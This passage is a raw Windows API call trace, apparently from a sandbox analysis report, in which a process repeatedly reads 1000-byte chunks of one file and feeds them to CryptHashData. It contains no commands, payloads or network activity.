lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.101] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.101] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.102] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.102] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.103] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.103] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.104] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.104] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.105] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.106] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.106] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.107] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.107] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.108] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.108] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, 